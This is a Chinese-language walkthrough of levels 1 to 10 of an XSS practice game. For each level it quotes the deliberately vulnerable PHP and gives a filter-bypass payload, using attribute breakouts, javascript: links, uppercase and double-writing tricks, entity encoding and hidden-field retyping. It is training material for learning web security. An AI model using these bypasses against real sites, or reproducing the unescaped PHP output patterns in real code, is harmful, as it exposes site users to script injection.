XSS小遊戲學習筆記(level 1-10)
XSS小遊戲
level 1
右鍵檢視頁面原始碼
<script>
window.alert = function()
{
confirm("完成的不錯!");
window.location.href="level2.php?keyword=test";
}
</script>
即提示你要讓網頁彈框,修改url後面的引數
構造payload
看過原始碼,也可以發現程式碼對使用者輸入輸出完全沒有過濾
<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎使用者".$str."</h2>"; ?>
level 2
輸入了正常的js,發現可以出現相關程式碼,說明預定義的字元程式碼已經被轉譯成了HTML實體了。
檢視頁面原始碼發現可以從下面的輸入框裡裡面入手,構造閉合語句
構造payload閉合
"/><script>window.alert()</script>
查看了原始碼,發現預定義的字元程式碼對於輸出的時候用了htmlspecialchars 轉換成實體,不過下面的並沒有轉換,所以我們能閉合構造
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> //這裡沒有實體化 <input type=submit name=submit value="搜尋"/> </form> </center>'; ?>
level 3
當我們嘗試第二關的方法時發現第三關的兩個地方都加了htmlspecialchars函式處理。
此時,雙引號和尖括號都被轉義了。
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜尋 /> </form> </center>"; ?>
但是htmlspecialchars預設配置是不過濾單引號的。只有設定了:quotestyle,才可以。
payload:
'onclick='window.alert()
level 4
這一關和第二關的沒有太大區別
payload:
"onclick="window.alert()
這一關,檢視原始碼,發現多了幾個str,仔細看一下就知道,在這裡將輸入的內容分別去掉了 <,> ,然後,外面的引號變成了雙引號。
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>
level 5 (過濾滑鼠事件onclick,script標籤)
嘗試用上一關payload,發現這一關在on中加上了下劃線。
那麼應該怎麼做 檢視程式碼發現它把 script 和 onclick 中加入了下劃線。那麼滑鼠事件,就不能用了。可以考慮下用連結(href),即在連結中呼叫js。
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>
payload:
"><a href="javascript:onclick=alert()">xss</a>
level 6(過濾onclick、script、href、src、data標籤)
嘗試用上一關的payload,發現href也被過濾了。
檢視原始碼,發現過濾了onclick、script、href、src、data標籤:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>
然而,少了一個函式strtolower(),把所有字元轉換為小寫。所以,我們可以用大寫。
payload:
"><A HREF="javascript:alert()">xss</a>
level 7 (將特殊字元替換為空,雙寫繞過)
用上一關的payload第七關的已經加上了strtolower,已經不能用大寫繞過了。
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜尋 />
</form>
</center>';
?>
而且將這幾個能用的都轉換成空後,應該要怎麼辦?但這時我們要注意他只是將其轉換成空,不像前面的第六題加了下劃線,因此我們可以嘗試雙寫繞過。
payload:
"><scrscriptipt>alert()</scrscriptipt>
level 8(編碼繞過)
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=新增友情連結 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>";
?>
這一關除了過濾了onclick、script、href、src、data標籤,而且把雙引號轉換成了“"”,並且在新增友情連結input內還有htmlspecialchars轉換。
注意,這裡在友情連結只用了str7,只是將關鍵字轉換了,那麼如果用其他的編碼的形式能否繞過呢?
payload :
HTML實體編碼(HEX)
javascript:alert()
HTML實體編碼(DEC)
javascript:alert()
這裡要注意不能把java四個轉換編碼,因為後臺過濾的是script,所以把script其中一個編碼一下就好。
level 9
這題跟上題目差不多,就在友情連結上多了一點判斷。
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情連結</a></center>';
}
?>
若檢測不到http則報錯。 只要讓它檢測到http,卻不能起到作用就可以了,所以可以用註釋。
payload:
javascript:alert(1)/*http://www.baidu.com*/
level 10(修改隱藏標籤)
這道題仔細看下程式碼就知道,它要get兩個引數keyword和t_sort:
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
而且 keyword引數並沒有什麼用,t_sort可以進行滲透那麼在$str33這裡進行構造語句<>被轉換成空,那麼script,src等也不能用了在程式碼中下面有三個隱藏的引數設定,在這裡把t_sort的 hidden更改一下成text。
payload:
t_link=&t_history=&t_sort="onclick="alert()"type="text
比對: